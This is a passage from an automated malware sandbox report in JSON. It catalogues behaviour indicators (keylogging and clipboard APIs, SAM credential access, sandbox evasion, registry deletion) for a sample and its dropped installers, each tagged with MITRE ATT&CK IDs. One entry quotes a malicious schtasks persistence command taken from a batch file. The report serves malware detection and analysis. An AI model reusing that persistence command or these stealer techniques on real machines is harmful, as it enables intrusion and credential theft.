\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$62","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002512.00000001.82002.002D0000.00000004.mdmp, 00000000-00002512.00000001.82002.0033A000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"name=|DataDirectory|aspnetdb.mdf;User Instance=true\" providerName=\"System.Data.SqlClient\"/>\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00000640.00000000.80239.00260000.00000004.mdmp\n 00000000-00000640.00000001.80757.00260000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetKeyNameTextW\" (Indicator: \"GetKeyNameText\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: BroomSetup.exe]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$65","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" tries to directly access volume data \"C:\"\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" tries to directly access volume data \"Z:\"\n \"InstallSetup9.exe\" tries to directly access volume data \"C:\"\n \"InstallSetup9.exe\" tries to directly access volume data \"Z:\"\n \"BroomSetup.exe\" tries to directly access volume data \"C:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 73660000\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" loaded module \"%WINDIR%\\System32\\samlib.dll\" at 74560000\n \"BroomSetup.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 73660000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$66","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"$67","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"InstallSetup9.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"BroomSetup.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$68","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: BroomSetup.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"getLookupAccountName\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00004500.00000001.82966.70891000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"00000000-00003192.00000000.82126.00671000.00000020.mdmp\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00003192.00000000.82126.00671000.00000020.mdmp\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"/password\" (Indicator: \"password\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"chcp 1251 schtasks /create /tn \"MalayamaraUpdate\" /tr \"'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp\\Updater.exe'\" /sc minute /mo 30 /F\" (Indicator: \"chcp\"; File: \"Task.bat\")\n Found string \"chcp\" (Indicator: \"chcp\"; Source: \"00000000-00003192.00000000.82126.00870000.00000004.mdmp\")\n Found string \"chcp 1251\" (Indicator: \"chcp\"; Source: \"00000000-00004500.00000001.82966.018C0000.00000004.mdmp, 00000000-00004500.00000002.84888.018C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"BroomSetup.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"Found string \"SHEmptyRecycleBinA\" (File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in file \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"\n Found registry deletion API: \"RegDeleteKeyW\" in file \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00004500.00000000.81045.007CB000.00000004.mdmp, 00000000-00004500.00000002.84888.007CB000.00000004.mdmp, 00000000-00004500.00000002.84888.70E41000.00000020.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" called an API \"AdjustTokenPrivileges\"on file: C:\\Windows\\System32\\tzres.dll\" (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: BroomSetup.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: InstallSetup9.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: rty25.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")\n Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$70","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 